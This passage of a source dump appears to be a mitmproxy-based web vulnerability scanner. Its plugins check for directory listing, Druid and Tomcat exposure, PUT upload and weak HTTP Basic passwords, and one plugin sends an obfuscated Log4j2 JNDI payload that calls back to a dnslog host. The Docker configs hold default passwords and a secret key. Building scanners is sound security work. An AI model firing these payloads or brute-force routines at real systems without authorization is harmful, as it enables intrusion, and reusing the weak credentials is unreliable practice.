37 | async with session.get(url=url_no_query, headers=headers, allow_redirects=False) as res:
38 | if res and res.status == 200:
39 | content = await res.text()
40 | flag = False
41 | if '
Index of' in content and 'Index of' in content:
42 | flag = True
43 | if 'Directory listing' in content:
44 | flag = True
45 | if '[To Parent Directory]' in content and '
' in content:
46 | flag = True
47 | if '.bash_history' in content and ".bash_profile" in content:
48 | flag = True
49 | if 'etc' in content and "var" in content and 'sbin' in content and 'tmp' in content:
50 | flag = True
51 |
52 | test_num = 0
53 | lines = re.findall('(.*)', content, re.IGNORECASE)
54 | for href, value in lines:
55 | if href == value:
56 | test_num += 1
57 | if test_num > 3:
58 | flag = True
59 | break
60 |
61 | if flag:
62 | detail = content
63 | await self.save_vul(res, detail)
64 |
65 |
--------------------------------------------------------------------------------
/addon/agent/druid_unauth.py:
--------------------------------------------------------------------------------
1 | from mitmproxy.http import HTTPFlow
2 | from lib.core.enums import AddonType
3 | from lib.core.enums import VulType
4 | from lib.core.enums import VulLevel
5 | from addon.agent import AgentAddon
6 | from lib.util.aiohttputil import ClientSession
7 |
8 | class Addon(AgentAddon):
9 | """
10 | Druid未授权访问
11 | """
12 |
13 | def __init__(self):
14 | AgentAddon.__init__(self)
15 | self.name = 'DruidUnauth'
16 | self.addon_type = AddonType.DIR_ALL
17 | self.vul_name = "Druid未授权访问"
18 | self.level = VulLevel.MEDIUM
19 | self.vul_type = VulType.UNAUTHORIZED_ACCESS
20 | self.description = "Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。"
21 | self.impact = "1. 敏感信息泄露"
22 | self.suggestions = "1. 对敏感文件进行权限控制或者删除处理。"
23 | self.scopen = ""
24 | self.mark = ""
25 | self.dir_list = [
26 | "",
27 | 'druid/',
28 | 'server/druid/',
29 | 'api/druid/',
30 | 'app/druid/',
31 | 'api/app/druid/',
32 | ]
33 | self.file_list = [
34 | 'console.html',
35 | 'sql.html',
36 | 'index.html',
37 | ]
38 |
39 | async def prove(self, flow: HTTPFlow):
40 | url_no_query = self.get_url_no_query(flow)
41 | method = self.get_method(flow)
42 | if method in ['GET']:
43 | if url_no_query[-1] == '/':
44 | async with ClientSession(self.addon_path) as session:
45 | headers = self.get_request_headers(flow)
46 | for dir_path in self.dir_list:
47 | for file_path in self.file_list:
48 | url = url_no_query + dir_path + file_path
49 | async with session.get(url=url, headers=headers, allow_redirects=False) as res:
50 | if res and res.status == 200:
51 | text_source = await res.text()
52 | text = text_source.lower()
53 | if 'druid stat index' in text or "druid version" in text or 'druid indexer' in text or 'druid sql stat' in text or 'druid monitor' in text:
54 | detail = text_source
55 | await self.save_vul(res, detail)
56 |
--------------------------------------------------------------------------------
/addon/agent/http_basic_auth_burst.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.util.aiohttputil import ClientSession
11 | from lib.util.cipherutil import base64encode
12 |
13 | class Addon(AgentAddon):
14 | """
15 | HTTP Basic Auth Burst
16 | """
17 |
18 | def __init__(self):
19 | AgentAddon.__init__(self)
20 | self.name = 'HTTPBasicAuthBurst'
21 | self.addon_type = AddonType.DIR_ALL
22 | self.vul_name = "HTTPBasic弱口令"
23 | self.level = VulLevel.MEDIUM
24 | self.vul_type = VulType.WEAKPASS
25 | self.description = "HTTPBasic认证是一种比较常见的认证方式,但这种认证方式容易被暴力破解,一旦系统存在弱口令账户,攻击者可直接登陆系统。"
26 | self.impact = "1. 登陆系统,进行进一步攻击,甚至获取服务器权限。"
27 | self.scopen = ""
28 | self.mark = ""
29 | self.file_list = [
30 | "",
31 | "manager/html",
32 | "host-manager/html",
33 | ]
34 |
35 | async def prove(self, flow: HTTPFlow):
36 | url_no_query = self.get_url_no_query(flow)
37 | method = self.get_method(flow)
38 | if method in ['GET'] and url_no_query[-1] == '/':
39 | async with ClientSession(self.addon_path) as session:
40 | headers = self.get_request_headers(flow)
41 | for file in self.file_list:
42 | url = url_no_query + file
43 | async with session.get(url=url, headers=headers, allow_redirects=False) as res:
44 | try:
45 | text = await res.text()
46 | if res and (
47 | # HTTP basic auth
48 | (res.status == 401 and 'WWW-Authenticate' in res.headers.keys()) or
49 |
50 | # Spring Security Application
51 | (text and res.status == 200 and "Full authentication is required to access this resource" in text)
52 | ):
53 | async for (username, password) in self.generate_auth_dict():
54 | key = base64encode(bytes(":".join([username, password]), 'utf-8'))
55 | headers["Authorization"] = 'Basic %s' % key
56 | async with session.get(url=url, headers=headers) as res1:
57 | if res1:
58 | if res1.status != 401:
59 | detail = username + "/" + password
60 | await self.save_vul(res1, detail)
61 | return
62 |
63 | except:
64 | pass
--------------------------------------------------------------------------------
/addon/agent/http_put.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.util.aiohttputil import ClientSession
11 | from lib.util.util import random_lowercase_digits
12 |
13 |
14 | class Addon(AgentAddon):
15 | """
16 | PUT文件上传
17 | """
18 |
19 | def __init__(self):
20 | AgentAddon.__init__(self)
21 | self.name = 'HTTPPUT'
22 | self.addon_type = AddonType.DIR_ALL
23 | self.vul_name = "PUT文件上传"
24 | self.level = VulLevel.MEDIUM
25 | self.vul_type = VulType.FILE_UPLOAD
26 | self.description = "PUT等可上传相关文件。"
27 | self.scopen = ""
28 | self.impact = "1. 攻击者可以上传恶意文件。"
29 | self.suggestions = "1. 禁止相关请求方法。"
30 | self.mark = ""
31 | self.suffix_list = [
32 | '',
33 | '/',
34 | '::$DATA',
35 | '%20'
36 | ]
37 |
38 |
39 | async def generate_payload(self, text=None):
40 | for suffix in self.suffix_list:
41 | file = random_lowercase_digits() + '.txt'
42 | payload = file + suffix
43 | yield payload, file
44 |
45 | async def prove(self, flow: HTTPFlow):
46 | url_no_query = self.get_url_no_query(flow)
47 | method = self.get_method(flow)
48 | if method in ['GET'] and url_no_query[-1] == '/':
49 | async with ClientSession(self.addon_path) as session:
50 | keyword = random_lowercase_digits(16)
51 | headers = self.get_request_headers(flow)
52 | async for payload, file in self.generate_payload():
53 | url1 = url_no_query + payload
54 | async with session.put(url=url1, headers=headers, data=keyword, allow_redirects=True) as res1:
55 | if res1:
56 | if res1.status == 200 or res1.status == 201 or res1.status == 204:
57 | url2 = url_no_query + file
58 | async with session.get(url=url2, headers=headers, allow_redirects=True) as res2:
59 | if res2:
60 | text2 = await res2.text()
61 | if keyword in text2:
62 | detail = text2
63 | await self.save_vul(res1, detail)
64 | return
--------------------------------------------------------------------------------
/addon/agent/log4j2_deserialization_ws.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from copy import deepcopy
6 | from mitmproxy.http import HTTPFlow
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from addon.agent import AgentAddon
11 | from lib.util.util import random_lowercase_digits
12 | from lib.util.aiohttputil import ClientSession
13 |
14 | class Addon(AgentAddon):
15 | """
16 | log4j 扫描
17 | """
18 |
19 | def __init__(self):
20 | AgentAddon.__init__(self)
21 | self.name = 'Log4j2DeserializationWS'
22 | self.addon_type = AddonType.WEBSOCKET_ONCE
23 | self.vul_name = "Log4j2反序列化漏洞"
24 | self.level = VulLevel.HIGH
25 | self.vul_type = VulType.RCE
26 | self.description = "反序列化漏洞是特殊的任意代码执行漏洞,通常出现在Java环境。漏洞产生原因主要是暴露了反序列化操作API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。在Java编码过程应使用最新版本的组件lib包。特别注意升级,如:Apache Commons Collections、fastjson、Jackson等出现过问题的组件。"
27 | self.scopen = ""
28 | self.impact = "1. Log4j2低版本存在反序列化漏洞,导致可以远程命令执行。"
29 | self.suggestions = "1. 升级Log4j2至最新版本。"
30 | self.mark = ""
31 | self.dnslog_domain = '{value}.l42.' + self.dnslog_top_domain
32 | self.payloads = [
33 | # "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{dnslog}/test9}",
34 | # "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{dnslog}/test11}",
35 | # "${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://{dnslog}/test10}",
36 | # "${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//{dnslog}:1389/test}"
37 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-l}${env:aaaa:-d}${env:aaaa:-a}${env:aaaa:-p}${env:aaaa:-:}//{dnslog}/test5}",
38 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-r}${env:aaaa:-m}${env:aaaa:-i}${env:aaaa:-:}//{dnslog}/test6}",
39 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-d}${env:aaaa:-n}${env:aaaa:-s}${env:aaaa:-:}//{dnslog}/test7}",
40 | "${a:-${a:-$${a:-${a:-$${j$${a:-}nd${a:-}i:l${a:-}da${a:-}p://{dnslog}/test$${a:-}}}}}}",
41 | # "${j${a:-}ndi:ld${a:-}ap://{dnslog}/test${a:-}}",
42 | ]
43 |
44 | async def generate_payload(self, text=None):
45 | for payload in self.payloads:
46 | dnslog = self.dnslog_domain.format(value=random_lowercase_digits())
47 | payload = payload.replace('{dnslog}', dnslog)
48 | yield payload, dnslog
49 |
50 | async def prove(self, flow: HTTPFlow):
51 | method = self.get_method(flow)
52 | url = self.get_url(flow)
53 | headers = self.get_request_headers(flow)
54 | message = self.get_websocket_message_by_index(flow, -2)
55 | message_list = self.get_websocket_messages(flow)[:-2]
56 |
57 | # 扫描message
58 | if message:
59 | source_parameter_dic = self.parser_parameter(message.content)
60 | async for res_function_result in self.generate_parameter_dic_by_function(source_parameter_dic, self.generate_payload):
61 | temp_parameter_dic = res_function_result[0]
62 | keyword = res_function_result[1]
63 | temp_content, temp_boundary = self.generate_content(temp_parameter_dic)
64 | message.content = temp_content
65 | if await self.prove_log4j(keyword, method, url, message, headers, message_list):
66 | return
67 |
68 | async def prove_log4j(self, keyword, method, url, message, headers, message_list):
69 | async with ClientSession(self.addon_path) as session:
70 | async with session.ws_connect(url, method=method, headers=headers, keyword=keyword, message_list=message_list, message=message) as ws:
71 | if message.is_text:
72 | await ws.send_str(str(message.content, 'utf-8'))
73 | else:
74 | await ws.send_bytes(message.content)
75 | if ws:
76 | if await self.get_dnslog_recode(keyword):
77 | detail = f"Add from dnslog, Keyword: {keyword}"
78 | await self.save_vul(ws, detail)
79 | return True
80 | return False
--------------------------------------------------------------------------------
/addon/agent/tomcat_file.py:
--------------------------------------------------------------------------------
1 | from mitmproxy.http import HTTPFlow
2 | from lib.core.enums import AddonType
3 | from lib.core.enums import VulType
4 | from lib.core.enums import VulLevel
5 | from addon.agent import AgentAddon
6 | from lib.util.aiohttputil import ClientSession
7 |
8 | class Addon(AgentAddon):
9 | """
10 | Tomcat 敏感文件泄露扫描
11 | """
12 |
13 | def __init__(self):
14 | AgentAddon.__init__(self)
15 | self.name = 'TomcatFile'
16 | self.addon_type = AddonType.DIR_ALL
17 | self.vul_name = "Tomcat默认War包"
18 | self.level = VulLevel.LOWER
19 | self.vul_type = VulType.INFO_FILE
20 | self.description = "Tomcat 中间件默认安装后会存在相关war包,这些war包可能会泄露相关信息。"
21 | self.scopen = ""
22 | self.impact = "1. 泄露了Tomcat相关信息。 2. 攻击者可以对相关路径进行暴力破解,甚至获取服务器权限。"
23 | self.suggestions = "1. 删除默认War包或做好访问控制。"
24 | self.mark = ""
25 | self.file_list = [
26 | "host-manager/",
27 | "manager/html",
28 | "examples/",
29 | "docs/",
30 | "",
31 | ]
32 |
33 | async def prove(self, flow: HTTPFlow):
34 | url_no_query = self.get_url_no_query(flow)
35 | method = self.get_method(flow)
36 | if method in ['GET']:
37 | if url_no_query[-1] == '/':
38 | async with ClientSession(self.addon_path) as session:
39 | headers = self.get_request_headers(flow)
40 | for file_path in self.file_list:
41 | url = url_no_query + file_path
42 | async with session.get(url=url, headers=headers, allow_redirects=False) as res:
43 | if res and res.status == 200:
44 | text = await res.text()
45 | flag = False
46 | if res.status == 200 and 'Apache Tomcat Examples' in text:
47 | flag = True
48 | elif res.status == 401 and '401 Unauthorized' in text and 'tomcat' in text:
49 | flag = True
50 | elif res.status == 403 and '403 Access Denied' in text and 'tomcat-users' in text:
51 | flag = True
52 | elif res.status == 200 and 'Documentation' in text and 'Apache Software Foundation' in text and 'tomcat' in text:
53 | flag = True
54 | if flag:
55 | detail = text
56 | await self.save_vul(res, detail)
57 |
--------------------------------------------------------------------------------
/addon/agent/xray_adapter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from mitmproxy.http import HTTPFlow
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 | from addon.agent import AgentAddon
10 | from lib.util.aiohttputil import ClientSession
11 | from lib.util.xrayutil import *
12 |
13 | class Addon(AgentAddon):
14 | """
15 | XrayAdapter
16 | """
17 |
18 | def __init__(self):
19 | AgentAddon.__init__(self)
20 | self.name = 'XrayAdapter'
21 | self.addon_type = AddonType.HOST_ONCE
22 | self.vul_name = "XrayPOC调用"
23 | self.level = VulLevel.MEDIUM
24 | self.vul_type = VulType.NONE
25 | self.scopen = ""
26 | self.description = "XrayPOC调用。"
27 | self.impact = "1. 具体请看Xray POC。"
28 | self.suggestions = "1. 具体请看Xray POC。"
29 | self.scopen = "1. 具体请看Xray POC。"
30 | self.mark = "1. 具体请看Xray POC。"
31 |
32 | self.dnslog_domain = '{value}.xray.' + self.dnslog_top_domain
33 |
34 | self.yaml_file_dir = 'poc/xray/pocs/'
35 |
36 | self.xray_poc_list = import_xray_poc_file(self.yaml_file_dir, self.dnslog_domain)
37 |
38 |
39 | async def prove(self, flow: HTTPFlow):
40 |
41 | async with ClientSession(self.addon_path) as session:
42 | for xray_poc in self.xray_poc_list:
43 | try:
44 | self.log.debug(f"Start scan xray poc: {xray_poc.name}")
45 | flag = True
46 |
47 | # 依次加载请求rule
48 | for name, rule in xray_poc.rules.items():
49 |
50 | # 变量初始化
51 | method = self.get_method(flow)
52 | base_url = self.get_base_url(flow)
53 | headers = self.get_request_headers(flow)
54 | data = self.get_request_content(flow)
55 | follow_redirects = False
56 | path = self.get_path_no_query(flow)
57 |
58 | rule_request = rule.get("request", {})
59 | expression = rule.get("expression", {})
60 | output = rule.get("output", {})
61 | search = output.get("search", None)
62 |
63 | # 请求初始化
64 | method, path, headers, data, follow_redirects = xray_poc.generate_request_by_rule_request(rule_request, method, path, headers, data, follow_redirects)
65 | url = base_url[:-1] + path
66 |
67 | # 是否dnslog需要
68 | if xray_poc.dnslog_wait:
69 | keyword = xray_poc.dnslog_domain
70 | else:
71 | keyword = None
72 |
73 | # 请求
74 | async with session.request(method, url, data=data, headers=headers, allow_redirects=follow_redirects, keyword=keyword) as res:
75 |
76 | if res:
77 | res_status = res.status
78 | res_headers = res.headers
79 | res_content = await res.read()
80 |
81 | # 处理cel表达式
82 | xray_poc.rules_result[name] = xray_poc.deal_cel(expression, res_status, res_headers,
83 | res_content)
84 | if search:
85 |
86 | # 如果有serach情况,需要执行search cel表达式
87 | search = xray_poc.deal_cel(search, res_status, res_headers, res_content)
88 | if search:
89 | xray_poc.search = search
90 | else:
91 | flag = False
92 | break
93 |
94 | # 校验总的cel表达式
95 | if flag and xray_poc.deal_cel(xray_poc.expression):
96 | detail = xray_poc.name + "\r\n" + xray_poc.detail
97 | await self.save_vul(res, detail)
98 |
99 | self.log.debug(f"Final scan xray poc: {xray_poc.name}")
100 | except TimeoutError:
101 | self.log.error(f"Error scan xray poc: {xray_poc.name}, error: {str(e)}")
102 | except Exception as e:
103 | self.log.error(f"Error scan xray poc: {xray_poc.name}, error: {str(e)}")
104 | traceback.print_exc()
--------------------------------------------------------------------------------
/addon/common/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/addon/server/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from lib.core.enums import VulType
7 | from lib.core.enums import VulLevel
8 | from lib.core.enums import AddonType
9 | from lib.core.g import mq_queue
10 |
11 |
12 | class ServerAddon(BaseAddon):
13 | """
14 | Addon Server类
15 | """
16 |
17 | def __init__(self):
18 | BaseAddon.__init__(self)
19 | self.name = 'ServerAddon'
20 | self.addon_type = AddonType.NONE
21 | self.level = VulLevel.NONE
22 | self.vul_type = VulType.NONE
23 |
24 | async def push_scan_queue(self, flow, addon_list=None, routing_key=None):
25 | """
26 | 推送至扫描队列,进行漏洞扫描
27 | :param flow: flow数据包
28 | :param addon_list: 需要扫描的addon列表,None为扫描全部 addon.agent
29 | :return:
30 | """
31 | await mq_queue.put((flow, addon_list, routing_key))
32 |
--------------------------------------------------------------------------------
/addon/server/scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | import traceback
7 | from addon.server import ServerAddon
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.core.enums import AddonType
11 |
12 | class Addon(ServerAddon):
13 | """
14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。
15 | """
16 |
17 | def __init__(self):
18 | ServerAddon.__init__(self)
19 | self.name = 'Scan'
20 | self.addon_type = AddonType.URL_ONCE
21 | self.level = VulLevel.NONE
22 | self.vul_type = VulType.NONE
23 | self.vul_name = "数据包推送"
24 | self.scopen = ""
25 | self.description = "数据包推送至扫描器"
26 | self.impact = ""
27 | self.suggestions = ""
28 | self.mark = ""
29 |
30 | async def response_inject(self, flow):
31 | if self.is_scan_response(flow):
32 | flag, start_time, end_time = self.is_time_response(flow)
33 | if start_time and end_time:
34 | await self.push_scan_queue(flow, routing_key=f'{start_time}_{end_time}')
35 | else:
36 | await self.push_scan_queue(flow)
37 | else:
38 | url = self.get_url(flow)
39 | self.log.debug(f"Bypass scan response flow, url: {url}, addon: {self.name}")
40 |
41 | def response(self, flow):
42 | asyncio.get_event_loop().create_task(self.response_inject(flow))
43 |
--------------------------------------------------------------------------------
/addon/server/scan_ws.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | import traceback
7 | from addon.server import ServerAddon
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.core.enums import AddonType
11 |
12 | class Addon(ServerAddon):
13 | """
14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。
15 | """
16 |
17 | def __init__(self):
18 | ServerAddon.__init__(self)
19 | self.name = 'ScanWS'
20 | self.addon_type = AddonType.WEBSOCKET_ONCE
21 | self.level = VulLevel.NONE
22 | self.vul_type = VulType.NONE
23 | self.vul_name = "Websocket数据包推送"
24 | self.scopen = ""
25 | self.description = "Websocket数据包推送至扫描器"
26 | self.impact = ""
27 | self.suggestions = ""
28 | self.mark = ""
29 |
30 | def websocket_message(self, flow):
31 | asyncio.get_event_loop().create_task(self.websocket_message_inject(flow))
32 |
33 | async def websocket_message_inject(self, flow):
34 | if self.is_scan_to_client(flow):
35 | flag, start_time, end_time = self.is_time_response(flow)
36 | if start_time and end_time:
37 | await self.push_scan_queue(flow, routing_key=f'{start_time}_{end_time}')
38 | else:
39 | await self.push_scan_queue(flow)
40 | else:
41 | url = self.get_url(flow)
42 | self.log.debug(f"Bypass scan websocket message flow, url: {url}, addon: {self.name}")
43 |
44 |
45 |
--------------------------------------------------------------------------------
/addon/support/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/addon/test/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | from lib.core.g import log
7 | from lib.core.g import conf
8 | from lib.core.g import task_queue
9 | from addon import BaseAddon
10 | from lib.core.common import handle_flow
11 |
12 | class TestAddon(BaseAddon):
13 |
14 | def __init__(self):
15 | BaseAddon.__init__(self)
16 | self.__hash_list = [] # simple 模式去重
17 |
18 | async def prove(self, flow):
19 | """预留函数, agent扫描使用"""
20 |
21 | async def handle_response(self, flow):
22 | """处理response函数"""
23 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, self.__hash_list, [self.name]):
24 | if flow_addon_list is None or (flow_addon_list and self.name in flow_addon_list):
25 | if self.addon_type == flow_addon_type:
26 | log.info(f"Push packet to queue, flow_hash: {flow_hash}")
27 | await task_queue.put((flow_hash, flow, self))
28 |
29 | def response(self, flow):
30 | """
31 | simple 模式使用
32 | :param flow:
33 | :return:
34 | """
35 | if self.is_scan_response(flow):
36 | asyncio.get_event_loop().create_task(self.handle_response(flow))
37 | else:
38 | url = self.get_url(flow)
39 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url:
40 | log.debug(f"Bypass scan response packet, url: {url}, addon: {self.addon_path}")
41 |
42 |
--------------------------------------------------------------------------------
/agent.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from argparse import ArgumentParser
7 | from lib.core.core import start_agent
8 |
9 | def arg_set(parser):
10 | parser.add_argument('-sh', "--server-host", action='store', help='Server address', type=str)
11 | parser.add_argument('-sp', "--server-port", action='store', help='Server port', type=int)
12 | parser.add_argument('-ph', "--support-host", action='store', help='Support address', type=str)
13 | parser.add_argument('-pp', "--support-port", action='store', help='Support port', type=int)
14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False)
15 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False)
16 | return parser
17 |
18 | if __name__ == '__main__':
19 | parser = ArgumentParser(add_help=False)
20 | parser = arg_set(parser)
21 | args = parser.parse_args()
22 | if args.help:
23 | parser.print_help()
24 | else:
25 | start_agent(args)
--------------------------------------------------------------------------------
/docker/Dockerfile:
--------------------------------------------------------------------------------
1 | # 使用Python 3.10的官方基础映像
2 | FROM python:3.10
3 |
4 | # 设置工作目录
5 | WORKDIR /app/Hamster/
6 |
7 | # 将当前目录中的所有文件复制到容器中的工作目录
8 | COPY . /app/Hamster/
9 | RUN rm -fr /app/Hamster/conf
10 | RUN rm -fr /app/Hamster/venv
11 | RUN rm -fr /app/Hamster/restart.sh
12 | COPY docker/conf /app/Hamster/conf
13 | COPY docker/restart.sh /app/Hamster/restart.sh
14 | COPY docker/wait-for-it.sh /app/Hamster/wait-for-it.sh
15 | RUN chmod +x /app/Hamster/restart.sh
16 | RUN chmod +x /app/Hamster/wait-for-it.sh
17 |
18 | ## 安装项目依赖
19 | RUN pip3 install -r requirements.txt
20 |
21 | # 运行应用程序
22 | ENTRYPOINT ["/bin/bash"]
23 | CMD ["./restart.sh"]
24 |
25 | EXPOSE 8000
26 | EXPOSE 8001
27 | EXPOSE 8002
28 |
--------------------------------------------------------------------------------
/docker/conf/hamster_env.conf:
--------------------------------------------------------------------------------
1 | [env]
2 | ; this is a env config for hamster
3 |
4 | ; run env
5 | env = online
6 |
7 |
8 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_agent.conf:
--------------------------------------------------------------------------------
1 | [agent]
2 | ; this is a agent config for hamster
3 |
4 | server_host = 127.0.0.1
5 |
6 | server_port = 8000
7 |
8 | support_host = 127.0.0.1
9 |
10 | support_port = 8001
11 |
12 |
13 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_basic.conf:
--------------------------------------------------------------------------------
1 | [basic]
2 | ; this is a basic config for hamster
3 |
4 | ; proxy mode, http/socks5/upstream:http://127.0.0.1:8080/
5 | proxy_mode = http
6 |
7 | ; http basic authentication to upstream proxy and reverse proxy requests. format:
8 | ; username:password.
9 | proxy_auth = Hamster:Hamster@123
10 |
11 | listen_domain = admin.hamster.com
12 |
13 | ; connection timeout
14 | timeout = 5
15 |
16 | heartbeat_time = 60
17 |
18 | user_agent = X Default
19 |
20 | max_data_queue_num = 300
21 |
22 | ; secret key
23 | secret_key = 2sT3pHJvb6x$etc27oWBwrK^FuThAmts6wYkTKi7l40iJRNm5GU680V0ebbZgJQ3
24 |
25 | ; when the anticache option is set, it removes headers (if-none-match and if-modif
26 | ; ied-since) that might elicit a 304 not modified response from the server. this i
27 | ; s useful when you want to make sure you capture an http exchange in its totality
28 | ; . it’s also often used during client-side replay, when you want to make sure the
29 | ; server responds with complete data.
30 | anticache = False
31 |
32 | default_mail_siffix = hamster.com
33 |
34 | default_password = Hamster@123
35 |
36 |
37 | [mysql]
38 | ; this is a mysql config for hamster
39 |
40 | host = hamster_mysql
41 |
42 | port = 3306
43 |
44 | username = root
45 |
46 | password = 123456
47 |
48 | dbname = Hamster
49 |
50 | charset = utf8mb4
51 |
52 | collate = utf8mb4_general_ci
53 |
54 |
55 | [redis]
56 | ; this is a redis config for hamster
57 |
58 | host = hamster_redis
59 |
60 | port = 6379
61 |
62 | username = root
63 |
64 | password = 123456
65 |
66 | decode_responses = True
67 |
68 | ex = 2419200
69 |
70 |
71 | [rabbitmq]
72 | ; this is a rabbitmq config for hamster
73 |
74 | host = hamster_rabbitmq
75 |
76 | port = 5672
77 |
78 | username = admin
79 |
80 | password = 123456
81 |
82 | name = Hamster
83 |
84 |
85 | [scan]
86 | ; this is a scan config for hamster
87 |
88 | scan_max_task_num = 50
89 |
90 | ; cache/nocache
91 | scan_mode = cache
92 |
93 | scan_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0; aiohttp) Gecko/20100101 Firefox/106.0"}
94 |
95 | scan_qps_limit = 5
96 |
97 | scan_body_size_limit = 4195000
98 |
99 | ; max length < 131080
100 | save_body_size_limit = 32768
101 |
102 | skip_scan_request_extensions = ["woff", "woff2", "ico", "ttf", "svg", "otf", "mp3", "css"]
103 |
104 | skip_scan_response_content_types = ["application/font-woff", "image/gif"]
105 |
106 | skip_scan_response_meida_types = ["video", "audio"]
107 |
108 |
109 | [cache]
110 | ; this is a cache config for hamster
111 |
112 | is_save_request_body = True
113 |
114 | is_save_response_body = False
115 |
116 | save_body_size_limit = 32768
117 |
118 | log_stored_day = 30
119 |
120 | cache_log_stored_day = 2
121 |
122 | cache_db_stored_day = 1
123 |
124 | cache_deal_time = 3600
125 |
126 |
127 | [platform]
128 | ; this is a platform config for hamster
129 |
130 | dnslog_top_domain =
131 |
132 | dnslog_api_url =
133 |
134 | dnslog_api_key =
135 |
136 | dnslog_async_time = 20
137 |
138 | ; you should nano func in lib/core/api.py
139 | dnslog_api_func = default
140 |
141 |
142 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_manager.conf:
--------------------------------------------------------------------------------
1 | [manager]
2 | ; this is a manager config for hamster
3 |
4 | listen_host = 0.0.0.0
5 |
6 | listen_port = 8002
7 |
8 |
9 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_server.conf:
--------------------------------------------------------------------------------
1 | [server]
2 | ; this is a server config for hamster
3 |
4 | listen_host = 0.0.0.0
5 |
6 | listen_port = 8000
7 |
8 |
9 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_simple.conf:
--------------------------------------------------------------------------------
1 | [simple]
2 | ; this is a simple config for hamster
3 |
4 | listen_host = 0.0.0.0
5 |
6 | listen_port = 8000
7 |
8 |
9 |
--------------------------------------------------------------------------------
/docker/conf/online/hamster_support.conf:
--------------------------------------------------------------------------------
1 | [support]
2 | ; this is a support config for hamster
3 |
4 | listen_host = 0.0.0.0
5 |
6 | listen_port = 8001
7 |
8 | server_host = 127.0.0.1
9 |
10 | server_port = 8000
11 |
12 |
13 |
--------------------------------------------------------------------------------
/docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | hamster_mysql:
4 | restart: always
5 | image: mysql:latest
6 | hostname: hamster_mysql
7 | ports:
8 | - 127.0.0.1:3306:3306
9 | environment:
10 | - MYSQL_ROOT_PASSWORD=123456
11 | container_name: hamster_mysql
12 | networks:
13 | - hamster_network
14 | hamster_redis:
15 | restart: always
16 | image: redis:latest
17 | hostname: hamster_redis
18 | ports:
19 | - 127.0.0.1:6379:6379
20 | command: redis-server --requirepass 123456
21 | container_name: hamster_redis
22 | environment:
23 | - LANG=en_US.UTF-8
24 | - TZ=Asia/Shanghai
25 | networks:
26 | - hamster_network
27 | hamster_rabbitmq:
28 | restart: always
29 | image: rabbitmq:management
30 | hostname: hamster_rabbitmq
31 | ports:
32 | - 127.0.0.1:5672:5672
33 | - 127.0.0.1:15672:15672
34 | environment:
